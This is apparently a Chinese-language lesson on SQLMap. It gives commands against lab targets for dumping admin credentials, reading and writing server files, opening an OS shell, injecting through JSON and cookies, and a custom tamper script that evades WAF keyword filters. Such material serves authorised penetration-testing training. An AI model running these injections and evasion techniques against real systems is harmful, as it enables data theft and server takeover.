46:SQLMap实战全攻略(猜解/权限/绕过/调试)

本节课聚焦 SQLMap的实战应用------作为最强大的SQL注入自动化工具,SQLMap能覆盖从"常规数据猜解"到"高权限文件读写""绕过过滤"的全场景。核心是掌握"参数用法+场景适配",解决手动注入效率低、复杂场景(如JSON/Base64注入)难突破的问题。

一、核心知识点总览

SQLMap的核心价值是"自动化注入流程",本节课围绕5大实战场景展开,覆盖从基础到进阶的所有关键操作:

模块 核心目标 关键参数/工具 实战频率
数据猜解 自动获取库、表、列、敏感数据 --current-db、--tables、--dump
权限操作 高权限下文件读写、系统命令执行 --current-user、--file-read、--os-shell 中(依赖权限)
提交方法适配 处理POST/JSON/Cookie等非GET注入 -r、--data、--cookie
Tamper脚本 绕过关键字过滤、编码转换(如Base64) --tamper、自定义Python脚本 中(过滤场景)
分析与调试 避坑、扫描更多注入点、隐藏工具特征 -v、--proxy、--random-agent、--level

二、数据猜解:自动化获取库表列数据

核心是用SQLMap自动完成"判断注入点→猜库→猜表→猜列→导出数据"的流程,无需手动构造Payload,还能解决字典缺失的问题。

2.1 常规猜解命令(基础必会)

操作目标 命令示例(以GET注入为例) 说明
验证注入点+获取当前库 ​python sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --current-db​ 先确认注入点,再定位当前数据库(如fyblog​)
获取指定库的所有表 ​python sqlmap.py -u "URL" --tables -D "fyblog"​ -D指定数据库名,列出所有表(如admin​)
获取指定表的所有列 ​python sqlmap.py -u "URL" --columns -T "admin" -D "fyblog"​ -T指定表名,列出列(如username​、password​)
导出指定列的数据 ​python sqlmap.py -u "URL" --dump -C "username,password" -T "admin" -D "fyblog"​ --dump导出数据,自动解密简单MD5密码

2.2 避坑点:字典缺失导致表名猜不到

问题场景

如果目标表名非常规(如adminxiaodi​),SQLMap默认字典中没有,会导致无法猜出表名。

解决方法
  1. 找到SQLMap的字典目录:sqlmap/data/txt(如案例中的G:\develop\safety\ONE-FOX集成工具箱\gui_scan\sqlmap\data\txt);
  2. 打开common-tables.txt,添加自定义表名(如adminxiaodi);
  3. 重新执行--tables命令,SQLMap会加载新字典,成功猜出表名。

2.3 关键提示

  • 优先用--current-db定位当前数据库,避免直接--tables(会遍历所有库,耗时且杂乱);
  • 线程设置:默认1线程,可手动输入10(根据目标服务器性能调整,避免请求过快被拦截);
  • 数据保存:SQLMap会自动将导出的数据保存在本地(以目标IP/域名命名的目录中),可直接查看。

三、权限操作:高权限注入的进阶用法

当数据库用户为root@localhost​(高权限)时,SQLMap可实现"文件读写""系统命令执行",直接获取服务器控制权。

3.1 权限判断(关键前提)

参数 作用 注意事项
​--is-dba​ 判断当前用户是否为DBA(数据库管理员) 可能误报,不推荐作为唯一依据
​--current-user​ 获取当前数据库用户(如root@localhost​) 推荐!准确判断权限,root​即高权限
​--privileges​ 查看当前用户权限 输出结果较抽象,需结合true/false​判断

3.2 高权限核心操作

1. 文件操作(读取/写入)
操作类型 命令示例 说明
读取文件 ​python sqlmap.py -u "URL" --file-read "F:\1.txt"​ 读取目标服务器文件(需绝对路径)
写入文件 ​python sqlmap.py -u "URL" --file-write "F:\1.txt" --file-dest "C:\123.txt"​ 将本地文件写入目标服务器(如写木马)
2. 系统命令执行
操作类型 命令示例 说明
单条命令 ​python sqlmap.py -u "URL" --os-cmd "calc"​ 执行系统命令(如Windows打开计算器)
获取交互Shell ​python sqlmap.py -u "URL" --os-shell​ 获得系统命令行(需指定网站根目录路径)
SQL交互Shell ​python sqlmap.py -u "URL" --sql-shell​ 直接执行SQL命令(如select version()​)

3.3 避坑点

  • 文件操作需secure_file_priv配置为空(MySQL默认关闭,需修改my.ini后重启);
  • --os-shell需目标服务器支持(如PHP+Windows),且需手动输入网站根目录(如G:\develop\phpstudy_pro\WWW\dome01);
  • 高权限操作仅适用于root用户,普通用户(如test@localhost)无此权限。

四、提交方法适配:处理非GET注入场景

SQL注入不仅存在于GET参数,POST表单、JSON、Cookie、HTTP头都可能是注入点,需用对应参数适配。

4.1 核心参数对比(推荐用-r​)

注入场景 推荐参数 命令示例 关键注意事项
GET注入 直接-u​ ​python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1"​ 最简单,直接跟URL参数
POST表单注入 ​-r 文件名​(优先)或--data​ ​python sqlmap.py -r "head.txt"​ 1. 抓包保存请求到head.txt​; 2. 注入点用*​标记(如uname=test*&pass=test​); 3. 目标URL是接收POST数据的URL(非登录页)
JSON格式注入 ​-r 文件名​ ​python sqlmap.py -r "json.txt"​ 用--data​会因引号冲突报错,必须用-r​读取请求文件
Cookie注入 ​--cookie​或-r​ ​python sqlmap.py -u "URL" --cookie "session=123456*"​ 注入点用*​标记Cookie中的参数

4.2 实战示例:JSON格式注入(避坑重点)

问题场景

直接用--data​提交JSON数据会报错(引号冲突):

​python sqlmap.py -u "http://192.168.137.1:84/sqli/json_check.php" --data '{"username":"admin","password":"123456"}'​

→ 报错"所有参数不可注入"。

正确步骤
  1. 抓包JSON请求,复制完整请求(含请求头和JSON数据);
  2. 保存到json.txt,在注入点加*(如"username":"admin*","password":"123456*");
  3. 执行命令:python sqlmap.py -r "json.txt" → 自动识别JSON格式,成功找到注入点。

4.3 核心结论

  • 无论哪种请求格式,优先用-r参数(读取请求文件),避免格式冲突和参数遗漏;
  • 注入点标记*是关键:手动指定注入位置,减少SQLMap盲目扫描的时间。

五、Tamper脚本:绕过过滤与编码转换

Tamper脚本是SQLMap的"绕过神器",用于处理"关键字过滤""编码注入"(如Base64)等场景,本质是对Payload进行预处理后再发送。

5.1 自带Tamper脚本使用(基础场景)

示例:Base64编码注入
场景

目标注入点参数是Base64编码(如id=MQ==​对应id=1​),直接注入会因编码问题失败。

步骤
  1. 验证注入点(失败):python sqlmap.py -u "http://192.168.137.1:84/sqli/base64.php?id=MQ==" → 无注入点;
  2. 使用Base64解码脚本:python sqlmap.py -u "URL" --tamper=base64encode.py → SQLMap自动对Payload进行Base64编码,成功注入。
常用自带Tamper脚本
脚本名 作用 适用场景
base64encode.py 对Payload进行Base64编码 Base64编码的注入点
upper.py 将Payload关键字转为大写 过滤小写关键字(如select​)
space2comment.py 用注释替换空格(如select/* */1​) 过滤空格的注入点

5.2 自定义Tamper脚本开发(进阶)

开发思路
  1. 分析过滤规则(如过滤SELECT、OR、AND等关键字);
  2. 编写Python脚本,对Payload中的关键字进行替换(如大小写混淆);
  3. 将脚本放入sqlmap/tamper目录,用--tamper调用。
脚本模板(绕过关键字过滤)
复制代码
# 导入SQLMap的优先级枚举
from lib.core.enums import PRIORITY

# 设置脚本优先级(LOW即可)
priority = PRIORITY.LOW

# 声明依赖(无依赖则空实现)
def dependencies():
    pass

# 核心函数:处理Payload
def tamper(payload, **kwargs):
    if payload:  # 若Payload不为空
        # 大小写混淆替换关键字,绕过过滤
        payload = payload.replace('SELECT', 'sElEct')
        payload = payload.replace('OR', 'Or')
        payload = payload.replace('AND', 'And')
        payload = payload.replace('SLEEP', 'SleeP')
    return payload  # 返回处理后的Payload
使用方法
  1. 将脚本保存为test.py,放入sqlmap/tamper目录;
  2. 执行命令:python sqlmap.py -u "URL" --tamper=test.py → 成功绕过关键字过滤。

5.3 避坑点

  • 脚本需符合SQLMap的格式(必须包含dependencies()和tamper()函数);
  • 替换后的Payload需合法(如sElEct仍能被数据库识别);
  • 脚本放置路径正确(sqlmap/tamper,否则SQLMap找不到)。

六、分析拓展:调试、避坑与特征隐藏

实战中需解决"注入失败找不到原因""被WAF识别""扫描不到所有注入点"等问题,需用到SQLMap的调试和拓展参数。

6.1 调试等级(-v)

通过-v [0-6]​控制输出详细程度,用于排查注入失败原因:

等级 输出内容 适用场景
-v 0 仅显示错误和关键消息 快速扫描
-v 4 显示HTTP请求详情 查看Payload是否被正确处理(如Tamper是否生效)
-v 6 显示完整HTTP响应(含页面内容) 排查注入点无回显的原因
示例:验证Tamper脚本是否生效
复制代码
# 不使用Tamper,查看原始Payload
python sqlmap.py -u "URL" -v 4

# 使用自定义Tamper,查看处理后的Payload
python sqlmap.py -u "URL" --tamper=test.py -v 4

→ 对比发现Payload中OR​变为Or​,证明脚本生效。

6.2 隐藏工具特征(避WAF)

1. 随机User-Agent(避免被识别为SQLMap)
复制代码
# 随机生成User-Agent
python sqlmap.py -u "URL" --random-agent
# 自定义User-Agent
python sqlmap.py -u "URL" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/138.0.0.0 Safari/537.36"
2. 延迟请求(避免请求过快被拦截)
复制代码
# 每个请求延迟2-5秒(随机)
python sqlmap.py -u "URL" --time-sec=(2,5)

6.3 调整扫描等级(--level/--risk)

  • --level [1-5]:控制扫描深度(默认1),等级越高,扫描的参数越多(如HTTP头、Cookie);
  • --risk [0-3]:控制扫描风险(默认1),等级越高,使用的Payload越危险(如UPDATE/DELETE语句)。
实战示例:扫描更多注入点
复制代码
# 高等级扫描(可能发现HTTP头注入点,如User-Agent)
python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" --level=3 --risk=2

→ 可能扫描出隐藏的注入点(如User-Agent注入),而默认等级扫描不到。

6.4 代理注入(便于分析流量)

通过BurpSuite代理SQLMap的请求,查看完整的注入流量:

复制代码
python sqlmap.py -u "URL" --proxy "http://127.0.0.1:8080"

→ 开启Burp的代理(默认8080端口),即可在Burp中看到SQLMap发送的所有请求和响应。

七、核心命令总结与实战技巧

7.1 必记核心命令

功能 命令模板
常规数据猜解 ​sqlmap.py -u "URL" --current-db --tables -D "库名" --dump -T "表名" -C "列名"​
高权限文件读取 ​sqlmap.py -u "URL" --current-user --file-read "目标文件路径"​
高权限系统命令 ​sqlmap.py -u "URL" --os-shell​
POST/JSON注入 ​sqlmap.py -r "请求文件.txt"​
绕过Base64编码 ​sqlmap.py -u "URL" --tamper=base64encode.py​
调试+隐藏特征 ​sqlmap.py -u "URL" -v 4 --random-agent --time-sec=(2,5)​

7.2 实战技巧

  1. 所有操作前先验证注入点(用-u或-r),避免盲目执行高权限命令;
  2. 遇到过滤先尝试自带Tamper脚本,无效再自定义;
  3. 注入失败优先排查:注入点标记(*)是否正确、请求格式是否适配(如JSON用-r)、字典是否完整;
  4. 合法授权:所有测试需获得目标服务器的合法授权,禁止未经允许的渗透测试。
相关推荐
科技小花2 小时前
数据治理平台架构演进观察:AI原生设计如何重构企业数据管理范式
数据库·重构·架构·数据治理·ai-native·ai原生
一江寒逸2 小时前
零基础从入门到精通MySQL(中篇):进阶篇——吃透多表查询、事务核心与高级特性,搞定复杂业务SQL
数据库·sql·mysql
D4c-lovetrain2 小时前
linux个人心得22 (mysql)
数据库·mysql
阿里小阿希2 小时前
CentOS7 PostgreSQL 9.2 升级到 15 完整教程
数据库·postgresql
荒川之神3 小时前
Oracle 数据仓库雪花模型设计(完整实战方案)
数据库·数据仓库·oracle
做个文艺程序员3 小时前
MySQL安全加固十大硬核操作
数据库·mysql·安全
不吃香菜学java3 小时前
Redis简单应用
数据库·spring boot·tomcat·maven
一个天蝎座 白勺 程序猿3 小时前
Apache IoTDB(15):IoTDB查询写回(INTO子句)深度解析——从语法到实战的ETL全链路指南
数据库·apache·etl·iotdb
不知名的老吴3 小时前
Redis的延迟瓶颈:TCP栈开销无法避免
数据库·redis·缓存
YOU OU3 小时前
三大范式和E-R图
数据库